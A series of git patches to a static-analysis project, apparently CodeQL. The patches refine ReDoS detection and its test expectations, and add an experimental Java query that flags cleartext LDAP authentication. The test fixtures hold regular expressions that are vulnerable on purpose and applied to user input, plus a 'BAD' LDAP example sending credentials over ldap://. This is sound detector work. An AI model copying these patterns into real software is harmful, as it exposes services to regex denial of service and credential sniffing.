expensive $@ use depends on $@. | polynomial-redos.js:101:17:101:18 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:102:2:102:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:102:2:102:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:102:20:102:21 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:103:2:103:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:103:2:103:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:103:19:103:20 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:104:2:104:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:104:2:104:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:104:17:104:18 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:105:2:105:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:105:2:105:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:105:17:105:18 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:105:2:105:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:105:2:105:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:105:19:105:20 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:105:2:105:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:105:2:105:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:105:21:105:22 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:107:2:107:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:107:2:107:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:107:28:107:37 | ([2-5]\|B)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:108:2:108:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:108:2:108:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:108:21:108:30 | ([2-5]\|B)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:109:2:109:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:109:2:109:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:109:28:109:30 | \\d+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:111:2:111:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:111:2:111:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:111:17:111:19 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:112:2:112:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:112:2:112:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:112:17:112:19 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:114:2:114:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:114:2:114:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:114:22:114:24 | \\w* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:116:2:116:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:116:2:116:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:116:21:116:28 | [\\d\\D]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js b/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js index 11c28b43a21..fd113d56bb5 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js @@ -12,9 +12,9 @@ app.use(function(req, res) { tainted.replace(/.*\./, ''); // NOT OK tainted.replace(/^.*[/\\]/, ''); // OK tainted.replace(/^.*\./, ''); // OK - tainted.replace(/^(`+)\s*([\s\S]*?[^`])\s*\1(?!`)/); // NOT OK - but not detected - tainted.replace(/^(`+)([\s\S]*?[^`])\1(?!`)/); // NOT OK - but not detected - /^(.*,)+(.+)?$/.test(tainted); // NOT OK - but only flagged by js/redos + tainted.replace(/^(`+)\s*([\s\S]*?[^`])\s*\1(?!`)/); // NOT OK + tainted.replace(/^(`+)([\s\S]*?[^`])\1(?!`)/); // NOT OK + /^(.*,)+(.+)?$/.test(tainted); // NOT OK tainted.match(/[0-9]*['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+|[\u0600-\u06FF\/]+(\s*?[\u0600-\u06FF]+){1,2}/i); // NOT OK tainted.match(/[0-9]*['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i); // NOT OK (even though it is a proposed fix for the above) tainted.match(/^(\+|-)?(\d+|(\d*\.\d*))?(E|e)?([-+])?(\d+)?$/); // NOT OK @@ -24,7 +24,7 @@ app.use(function(req, res) { tainted.match(/^([a-z0-9-]+)[ \t]+([a-zA-Z0-9+\/ \t\n]+[=]*)(.*)$/); // NOT OK tainted.match(/^([a-z0-9-]+)[ \t\n]+([a-zA-Z0-9+\/][a-zA-Z0-9+\/ \t\n=]*)([^a-zA-Z0-9+\/ \t\n=].*)?$/); // OK - /[a-z][A-Z]|[A-Z]{2,}[a-z]|[0-9][a-zA-Z]|[a-zA-Z][0-9]|[^a-zA-Z0-9 ]/.test(tainted); // NOT OK + /[a-z][A-Z]|[A-Z]{2,}[a-z]|[0-9][a-zA-Z]|[a-zA-Z][0-9]|[^a-zA-Z0-9 ]/.test(tainted); // NOT OK - but not detected due to not supporting ranges /[a-z][A-Z]|[A-Z]{2}[a-z]|[0-9][a-zA-Z]|[a-zA-Z][0-9]|[^a-zA-Z0-9 ]/.test(tainted); // OK tainted.replace(/[?]+.*$/g, ""); // OK - can not fail - but still flagged @@ -37,13 +37,13 @@ app.use(function(req, res) { tainted.match(/<.*style="([^"]+)".*>/); // NOT OK tainted.match(/<.*href="([^"]+)".*>/); // NOT OK - tainted.match(/^([^-]+)-([A-Za-z0-9+/]+(?:=?=?))([?\x21-\x7E]*)$/); // NOT OK - but not flagged + tainted.match(/^([^-]+)-([A-Za-z0-9+/]+(?:=?=?))([?\x21-\x7E]*)$/); // NOT OK tainted.match(/^([^-]+)-([A-Za-z0-9+/=]{44,88})(\?[\x21-\x7E]*)*$/); // NOT OK (it is a fix for the above, but it introduces exponential complexity elsewhere) - tainted.match(/^([a-z0-9-]+)[ \t]+([a-zA-Z0-9+\/]+[=]*)([\n \t]+([^\n]+))?$/); // NOT OK - but not flagged due to lack of support for inverted character classes + tainted.match(/^([a-z0-9-]+)[ \t]+([a-zA-Z0-9+\/]+[=]*)([\n \t]+([^\n]+))?$/); // NOT OK tainted.match(/^([a-z0-9-]+)[ \t]+([a-zA-Z0-9+\/]+[=]*)([ \t]+([^ \t][^\n]*[\n]*)?)?$/); // OK - tainted.match(/^(?:\.?[a-zA-Z_][a-zA-Z_0-9]*)+$/); // NOT OK - but only flagged by js/redos + tainted.match(/^(?:\.?[a-zA-Z_][a-zA-Z_0-9]*)+$/); // NOT OK (also flagged by js/redos) tainted.match(/^(?:\.?[a-zA-Z_][a-zA-Z_0-9]*)(?:\.[a-zA-Z_][a-zA-Z_0-9]*)*$/); // OK tainted.replaceAll(/\s*\n\s*/g, ' '); // NOT OK @@ -56,7 +56,7 @@ app.use(function(req, res) { /f(B|Y)+(Y)*X/.test(tainted) // NOT OK (/f(B|Y)+(Y|K)*X/.test(tainted)) // NOT OK (/f(B|Y)+.*X/.test(tainted)) // NOT OK - (/f(B|Y)+(.)*X/.test(tainted)) // NOT OK - but not flagged + (/f(B|Y)+(.)*X/.test(tainted)) // NOT OK (/^(.)*X/.test(tainted)); // OK (/^Y(Y)*X/.test(tainted)); // OK (/^Y*Y*X/.test(tainted)); // NOT OK @@ -68,50 +68,50 @@ app.use(function(req, res) { (/[^Y].*$/.test(req.url)); // OK - the input cannot contain newlines. (/[^Y].*$/.test(req.body)); // NOT OK - tainted.match(/^([^-]+)-([A-Za-z0-9+/]+(?:=?=?))([?\x21-\x7E]*)$/); // NOT OK - but not detected + tainted.match(/^([^-]+)-([A-Za-z0-9+/]+(?:=?=?))([?\x21-\x7E]*)$/); // NOT OK - tainted.match(new RegExp("(MSIE) (\\d+)\\.(\\d+).*XBLWP7")); // NOT OK - but not detected + tainted.match(new RegExp("(MSIE) (\\d+)\\.(\\d+).*XBLWP7")); // NOT OK - tainted.match(/<.*class="([^"]+)".*>/); // NOT OK - but not detected + tainted.match(/<.*class="([^"]+)".*>/); // NOT OK tainted.match(/Y.*X/); // NOT OK tatined.match(/B?(YH|K)(YH|J)*X/); // NOT OK - but not detected tainted.match(/a*b/); // NOT OK - the initial repetition can start matching anywhere. - tainted.match(/cc*D/); // NOT OK - but flagged + tainted.match(/cc*D/); // NOT OK tainted.match(/^ee*F/); // OK tainted.match(/^g*g*/); // OK tainted.match(/^h*i*/); // OK - tainted.match(/^(ab)*ab(ab)*X/); // NOT OK - but not flagged + tainted.match(/^(ab)*ab(ab)*X/); // NOT OK - tainted.match(/aa*X/); // NOT OK - but not flagged + tainted.match(/aa*X/); // NOT OK tainted.match(/^a*a*X/); // NOT OK - tainted.match(/\wa*X/); // NOT OK - but not flagged + tainted.match(/\wa*X/); // NOT OK tainted.match(/a*b*c*/); // OK tainted.match(/a*a*a*a*/); // OK - tainted.match(/^([3-7]|A)*([2-5]|B)*X/); // NOT OK - but not flagged - tainted.match(/^\d*([2-5]|B)*X/); // NOT OK - but not flagged - tainted.match(/^([3-7]|A)*\d*X/); // NOT OK - but not flagged + tainted.match(/^([3-7]|A)*([2-5]|B)*X/); // NOT OK + tainted.match(/^\d*([2-5]|B)*X/); // NOT OK + tainted.match(/^([3-7]|A)*\d*X/); // NOT OK - tainted.match(/^(ab)+ab(ab)+X/); // NOT OK - but not flagged + tainted.match(/^(ab)+ab(ab)+X/); // NOT OK - tainted.match(/aa+X/); // NOT OK - but not flagged + tainted.match(/aa+X/); // NOT OK tainted.match(/a+X/); // NOT OK tainted.match(/^a+a+X/); // NOT OK - tainted.match(/\wa+X/); // NOT OK - but not flagged + tainted.match(/\wa+X/); // NOT OK tainted.match(/a+b+c+/); //NOT OK - tainted.match(/a+a+a+a+/); // OK - but is flagged + tainted.match(/a+a+a+a+/); // OK - tainted.match(/^([3-7]|A)+([2-5]|B)+X/); // NOT OK - but not flagged - tainted.match(/^\d+([2-5]|B)+X/); // NOT OK - but not flagged - tainted.match(/^([3-7]|A)+\d+X/); // NOT OK - but not flagged + tainted.match(/^([3-7]|A)+([2-5]|B)+X/); // NOT OK + tainted.match(/^\d+([2-5]|B)+X/); // NOT OK + tainted.match(/^([3-7]|A)+\d+X/); // NOT OK tainted.match(/\s*$/); // NOT OK tainted.match(/\s+$/); // NOT OK - tainted.match(/^\d*5\w*$/); // NOT OK - but not flagged + tainted.match(/^\d*5\w*$/); // NOT OK - tainted.match(/\/\*[\d\D]*?\*\//g); // NOT OK - but not flagged + tainted.match(/\/\*[\d\D]*?\*\//g); // NOT OK }); From 05569187b4f9b3ece85aa003f8512ec90590bd50 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Thu, 17 Dec 2020 20:51:43 +0100 Subject: [PATCH 0324/1241] improve performance of suffix checking --- .../security/performance/ReDoSUtil.qll | 25 +++++++++++++------ .../ReDoS/PolynomialBackTracking.expected | 1 - 2 files changed, 18 insertions(+), 8 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll index f345f24920f..283177c63fc 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll @@ -838,7 +838,7 @@ private module SuffixConstruction { * Holds if there likely exists a suffix starting from `s` that leads to the regular expression being rejected. * This predicate might find impossible suffixes when searching for suffixes of length > 1, which can cause FPs. */ - pragma[nomagic] + pragma[noinline] private predicate isLikelyRejectable(StateInPumpableRegexp s) { // exists a reject edge with some char. hasRejectEdge(s) @@ -857,10 +857,11 @@ private module SuffixConstruction { /** * Holds if there is likely a non-empty suffix leading to rejection starting in `s`. */ + pragma[noinline] predicate hasEdgeToLikelyRejectable(StateInPumpableRegexp s) { // all edges (at least one) with some char leads to another state that is rejectable. // the `next` states might not share a common suffix, which can cause FPs. - exists(string char | char = relevant() | + exists(string char | char = relevant(getRoot(s.getRepr())) | forex(State next | deltaClosedChar(s, char, next) | isLikelyRejectable(next)) ) } @@ -871,21 +872,31 @@ private module SuffixConstruction { * `prev` to `next` that the character symbol `char`. */ predicate deltaClosedChar(StateInPumpableRegexp prev, string char, StateInPumpableRegexp next) { - char = relevant() and - deltaClosed(prev, getAnInputSymbolMatching(char), next) + deltaClosed(prev, getAnInputSymbolMatchingRelevant(char), next) + } + + pragma[noinline] + InputSymbol getAnInputSymbolMatchingRelevant(string char) { + char = relevant(_) and + result = getAnInputSymbolMatching(char) } /** - * Gets a char used for finding possible suffixes. + * Gets a char used for finding possible suffixes inside `root`. */ - private string relevant() { result = CharacterClasses::getARelevantChar() } + pragma[noinline] + private string relevant(RegExpRoot root) { + result = ["a", "9", "|", "\n", " "] + or + exists(InputSymbol s | belongsTo(s, root) | result = intersect(s, _)) + } /** * Holds if there is no edge from `s` labeled `char` in our NFA. * The NFA does not model reject states, so the above is the same as saying there is a reject edge. */ private predicate hasRejectEdge(State s) { - exists(string char | char = relevant() | not deltaClosedChar(s, char, _)) + exists(string char | char = relevant(getRoot(s.getRepr())) | not deltaClosedChar(s, char, _)) } /** diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected index 7d8945d761e..96ed841bb84 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected @@ -348,7 +348,6 @@ | tst.js:23:33:23:40 | [\\s\\S]*? | Strings starting with '(*(*' and with many repetitions of '(*' can start matching anywhere after the start of the preceeding (?:[\\s\\S]*?\\(\\*[\\s\\S]*?\\*\\))* | | tst.js:23:47:23:54 | [\\s\\S]*? | Strings starting with '(*' and with many repetitions of '(*a' can start matching anywhere after the start of the preceeding (?:[\\s\\S]*?\\(\\*[\\s\\S]*?\\*\\))* | | tst.js:28:24:28:25 | .* | Strings starting with '!\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* | -| tst.js:28:59:28:60 | .* | Strings starting with '!\|\\n-\|\\n\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* | | tst.js:31:23:31:24 | .* | Strings starting with '!\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* | | tst.js:31:54:31:55 | .* | Strings starting with '!\|\\n-\|\\n' and with many repetitions of '\|\\n\|' can start matching anywhere after the start of the preceeding .* | | tst.js:31:58:31:59 | .* | Strings starting with '!\|\\n-\|\\n\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* | From 3a434211931d4e3c2aafbdd6596a9676cb95ae06 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Fri, 18 Dec 2020 17:19:25 +0100 Subject: [PATCH 0325/1241] add missing qhelp --- .../security/performance/ReDoSUtil.qll | 16 +++++++++- .../performance/SuperlinearBackTracking.qll | 29 ++++++++++++------- 2 files changed, 34 insertions(+), 11 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll index 283177c63fc..3ea91a72751 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll @@ -199,6 +199,9 @@ private predicate belongsTo(TInputSymbol a, RegExpRoot root) { class InputSymbol extends TInputSymbol { InputSymbol() { not this instanceof Epsilon } + /** + * Gets a string representation of this input symbol. + */ string toString() { this = Char(result) or @@ -594,7 +597,7 @@ RegExpRoot getRoot(RegExpTerm term) { result = getRoot(term.getParent()) } -newtype TState = +private newtype TState = Match(RegExpTerm t, int i) { getRoot(t).isRelevant() and ( @@ -606,6 +609,11 @@ newtype TState = Accept(RegExpRoot l) { l.isRelevant() } or AcceptAnySuffix(RegExpRoot l) { l.isRelevant() } +/** + * Gets a state that is about to match the regular expression `t`. + */ +State mkMatch(RegExpTerm t) { result = Match(t, 0) } + /** * A state in the NFA corresponding to a regular expression. * @@ -624,6 +632,9 @@ class State extends TState { this = AcceptAnySuffix(repr) } + /** + * Gets a string representation for this state in a regular expression. + */ string toString() { exists(int i | this = Match(repr, i) | result = "Match(" + repr + "," + i + ")") or @@ -634,6 +645,9 @@ class State extends TState { result = "AcceptAny(" + repr + ")" } + /** + * Gets the location for this state. + */ Location getLocation() { result = repr.getLocation() } /** diff --git a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll index c43a96bd05b..d37d24086cc 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll @@ -55,7 +55,15 @@ class SuperLiniearReDoSConfiguration extends ReDoSConfiguration { /** * Gets any root (start) state of a regular expression. */ -private State getRootState() { result = Match(any(RegExpRoot r), 0) } +private State getRootState() { result = mkMatch(any(RegExpRoot r)) } + +private newtype TStateTuple = + MkStateTuple(State q1, State q2, State q3) { + // starts at (pivot, pivot, succ) + isStartLoops(q1, q3) and q1 = q2 + or + step(_, _, _, _, q1, q2, q3) and FeasibleTuple::isFeasibleTuple(q1, q2, q3) + } /** * A state in the product automaton. @@ -70,14 +78,6 @@ private State getRootState() { result = Match(any(RegExpRoot r), 0) } * trick where `q1 <= q2`. This trick cannot be used here as the order * of the elements matter. */ -newtype TStateTuple = - MkStateTuple(State q1, State q2, State q3) { - // starts at (pivot, pivot, succ) - isStartLoops(q1, q3) and q1 = q2 - or - step(_, _, _, _, q1, q2, q3) and FeasibleTuple::isFeasibleTuple(q1, q2, q3) - } - class StateTuple extends TStateTuple { State q1; State q2; @@ -85,8 +85,14 @@ class StateTuple extends TStateTuple { StateTuple() { this = MkStateTuple(q1, q2, q3) } + /** + * Gest a string repesentation of this tuple. + */ string toString() { result = "(" + q1 + ", " + q2 + ", " + q3 + ")" } + /** + * Holds if this tuple is `(r1, r2, r3)`. + */ pragma[noinline] predicate isTuple(State r1, State r2, State r3) { r1 = q1 and r2 = q2 and r3 = q3 } } @@ -158,7 +164,7 @@ predicate isStartLoops(State pivot, State succ) { ( pivot.getRepr() = any(InfiniteRepetitionQuantifier i) or - pivot = Match(any(RegExpRoot root), 0) + pivot = mkMatch(any(RegExpRoot root)) ) } @@ -227,6 +233,9 @@ private newtype TTrace = * starting from some start state. */ class Trace extends TTrace { + /** + * Gets a string representation of this Trace that can be used for debug purposes. + */ string toString() { this = Nil() and result = "Nil()" or From 4ec78d04f8cc8f869af959556e9537bf651fd7e5 Mon Sep 17 00:00:00 2001 From: luchua-bc <shengxin.canada@gmail.com> Date: Mon, 21 Dec 2020 00:15:15 +0000 Subject: [PATCH 0326/1241] Insecure LDAP authentication --- .../CWE/CWE-522/InsecureLdapAuth.java | 24 +++ .../CWE/CWE-522/InsecureLdapAuth.qhelp | 32 ++++ .../Security/CWE/CWE-522/InsecureLdapAuth.ql | 153 ++++++++++++++++++ .../CWE-522/InsecureLdapAuth.expected | 15 ++ .../security/CWE-522/InsecureLdapAuth.java | 92 +++++++++++ .../security/CWE-522/InsecureLdapAuth.qlref | 1 + 6 files changed, 317 insertions(+) create mode 100644 java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.java create mode 100644 java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.qhelp create mode 100644 java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql create mode 100644 java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.expected create mode 100644 java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java create mode 100644 java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.qlref diff --git a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.java b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.java new file mode 100644 index 00000000000..33764506a1b --- /dev/null +++ b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.java @@ -0,0 +1,24 @@ +public class InsecureLdapAuth { + /** LDAP authentication */ + public DirContext ldapAuth(String ldapUserName, String password) { + { + // BAD: LDAP authentication in cleartext + String ldapUrl = "ldap://ad.your-server.com:389"; + } + + { + // GOOD: LDAPS authentication over SSL + String ldapUrl = "ldaps://ad.your-server.com:636"; + } + + Hashtable<String, String> environment = new Hashtable<String, String>(); + environment.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); + environment.put(Context.PROVIDER_URL, ldapUrl); + environment.put(Context.REFERRAL, "follow"); + env.put(Context.SECURITY_AUTHENTICATION, "simple"); + environment.put(Context.SECURITY_PRINCIPAL, ldapUserName); + environment.put(Context.SECURITY_CREDENTIALS, password); + DirContext dirContext = new InitialDirContext(environment); + return dirContext; + } +} diff --git a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.qhelp b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.qhelp new file mode 100644 index 00000000000..9b7193bf52f --- /dev/null +++ b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.qhelp @@ -0,0 +1,32 @@ +<!DOCTYPE qhelp PUBLIC "-//Semmle//qhelp//EN" "qhelp.dtd"> +<qhelp> + + <overview> + <p>When using the Java LDAP API to perform LDAPv3-style extended operations and controls, a context with connection properties including user credentials is started. Transmission of LDAP credentials in cleartext allows remote attackers to obtain sensitive information by sniffing the network.</p> + </overview> + + <recommendation> + <p>Use LDAPS to send credentials through SSL or use SASL authentication.</p> + </recommendation> + + <example> + <p>The following example shows two ways of using LDAP authentication. In the 'BAD' case, the credentials are transmitted in cleartext. In the 'GOOD' case, the credentials are transmitted over SSL.</p> + <sample src="InsecureLDAPAuth.java" /> + </example> + + <references> + <li> + CWE: + <a href="https://cwe.mitre.org/data/definitions/522">CWE-522: Insufficiently Protected Credentials</a> + <a href="https://cwe.mitre.org/data/definitions/319">CWE-319: Cleartext Transmission of Sensitive Information</a> + </li> + <li> + Oracle: + <a href="https://docs.oracle.com/javase/jndi/tutorial/ldap/misc/url.html">LDAP and LDAPS URLs</a> + </li> + <li> + Oracle: + <a href="https://docs.oracle.com/javase/tutorial/jndi/ldap/simple.html">Simple authentication consists of sending the LDAP server the fully qualified DN of the client (user) and the client's clear-text password</a> + </li> + </references> +</qhelp> diff --git a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql new file mode 100644 index 00000000000..663f4110524 --- /dev/null +++ b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql @@ -0,0 +1,153 @@ +/** + * @name Insecure LDAP authentication + * @description LDAP authentication with credentials sent in cleartext. + * @kind path-problem + * @id java/insecure-ldap-auth + * @tags security + * external/cwe-522 + * external/cwe-319 + */ + +import java +import semmle.code.java.frameworks.Jndi +import semmle.code.java.dataflow.TaintTracking +import DataFlow::PathGraph + +/** + * Gets a regular expression for matching private hosts, which only matches the host portion therefore checking for port is not necessary. + */ +private string getPrivateHostRegex() { + result = + "(?i)localhost(?:[:/?#].*)?|127\\.0\\.0\\.1(?:[:/?#].*)?|10(?:\\.[0-9]+){3}(?:[:/?#].*)?|172\\.16(?:\\.[0-9]+){2}(?:[:/?#].*)?|192.168(?:\\.[0-9]+){2}(?:[:/?#].*)?|\\[?0:0:0:0:0:0:0:1\\]?(?:[:/?#].*)?|\\[?::1\\]?(?:[:/?#].*)?" +} + +/** + * String of LDAP connections not in private domains. + */ +class LdapStringLiteral extends StringLiteral { + LdapStringLiteral() { + // Match connection strings with the LDAP protocol and without private IP addresses to reduce false positives. + exists(string s | this.getRepresentedString() = s | + s.regexpMatch("(?i)ldap://[\\[a-zA-Z0-9].*") and + not s.substring(7, s.length()).regexpMatch(getPrivateHostRegex()) + ) + } +} + +/** The interface `javax.naming.Context`. */ +class TypeNamingContext extends Interface { + TypeNamingContext() { this.hasQualifiedName("javax.naming", "Context") } +} + +/** The class `java.util.Hashtable`. */ +class TypeHashtable extends Class { + TypeHashtable() { this.getSourceDeclaration().hasQualifiedName("java.util", "Hashtable") } +} + +/** + * Holds if a non-private LDAP string is concatenated from both protocol and host. + */ +predicate concatLdapString(Expr protocol, Expr host) { + ( + protocol.(CompileTimeConstantExpr).getStringValue().regexpMatch("(?i)ldap(://)?") or + protocol + .(VarAccess) + .getVariable() + .getAnAssignedValue() + .(CompileTimeConstantExpr) + .getStringValue() + .regexpMatch("(?i)ldap(://)?") + ) and + not exists(string hostString | + hostString = host.(CompileTimeConstantExpr).getStringValue() or + hostString = + host.(VarAccess).getVariable().getAnAssignedValue().(CompileTimeConstantExpr).getStringValue() + | + hostString.length() = 0 or // Empty host is loopback address + hostString.regexpMatch(getPrivateHostRegex()) + ) +} + +/** Gets the leftmost operand in a concatenated string */ +Expr getLeftmostConcatOperand(Expr expr) { + if expr instanceof AddExpr + then result = getLeftmostConcatOperand(expr.(AddExpr).getLeftOperand()) + else result = expr +} + +/** + * String concatenated with `LdapStringLiteral`. + */ +class LdapString extends Expr { + LdapString() { + this instanceof LdapStringLiteral + or + concatLdapString(this.(AddExpr).getLeftOperand(), + getLeftmostConcatOperand(this.(AddExpr).getRightOperand())) + } +} + +/** + * Tainted value passed to env `Hashtable` as the provider URL, i.e. + * `env.put(Context.PROVIDER_URL, tainted)` or `env.setProperty(Context.PROVIDER_URL, tainted)`. + */ +predicate isProviderUrlEnv(MethodAccess ma) { + ma.getMethod().getDeclaringType().getAnAncestor() instanceof TypeHashtable and + (ma.getMethod().hasName("put") or ma.getMethod().hasName("setProperty")) and + ( + ma.getArgument(0).(CompileTimeConstantExpr).getStringValue() = "java.naming.provider.url" + or + exists(Field f | + ma.getArgument(0) = f.getAnAccess() and + f.hasName("PROVIDER_URL") and + f.getDeclaringType() instanceof TypeNamingContext + ) + ) +} + +/** + * Holds if the value "simple" is passed to env `Hashtable` as the authentication mechanism, i.e. + * `env.put(Context.SECURITY_AUTHENTICATION, "simple")` or `env.setProperty(Context.SECURITY_AUTHENTICATION, "simple")`. + */ +predicate isSimpleAuthEnv(MethodAccess ma) { + ma.getMethod().getDeclaringType().getAnAncestor() instanceof TypeHashtable and + (ma.getMethod().hasName("put") or ma.getMethod().hasName("setProperty")) and + ( + ma.getArgument(0).(CompileTimeConstantExpr).getStringValue() = + "java.naming.security.authentication" + or + exists(Field f | + ma.getArgument(0) = f.getAnAccess() and + f.hasName("SECURITY_AUTHENTICATION") and + f.getDeclaringType() instanceof TypeNamingContext + ) + ) and + ma.getArgument(1).(CompileTimeConstantExpr).getStringValue() = "simple" +} + +/** + * A taint-tracking configuration for cleartext credentials in LDAP authentication. + */ +class LdapAuthFlowConfig extends TaintTracking::Configuration { + LdapAuthFlowConfig() { this = "InsecureLdapAuth:LdapAuthFlowConfig" } + + /** Source of non-private LDAP connection string */ + override predicate isSource(DataFlow::Node src) { src.asExpr() instanceof LdapString } + + /** Sink of provider URL with simple authentication */ + override predicate isSink(DataFlow::Node sink) { + exists(MethodAccess pma | + sink.asExpr() = pma.getArgument(1) and + isProviderUrlEnv(pma) and + exists(MethodAccess sma | + sma.getQualifier() = pma.getQualifier().(VarAccess).getVariable().getAnAccess() and + isSimpleAuthEnv(sma) + ) + ) + } +} + +from DataFlow::PathNode source, DataFlow::PathNode sink, LdapAuthFlowConfig config +where config.hasFlowPath(source, sink) +select sink.getNode(), source, sink, "Insecure LDAP authentication from $@.", source.getNode(), + "LDAP connection string" diff --git a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.expected b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.expected new file mode 100644 index 00000000000..65abcef0a9b --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.expected @@ -0,0 +1,15 @@ +edges +| InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:15:41:15:47 | ldapUrl | +| InsecureLdapAuth.java:25:20:25:39 | ... + ... : String | InsecureLdapAuth.java:29:41:29:47 | 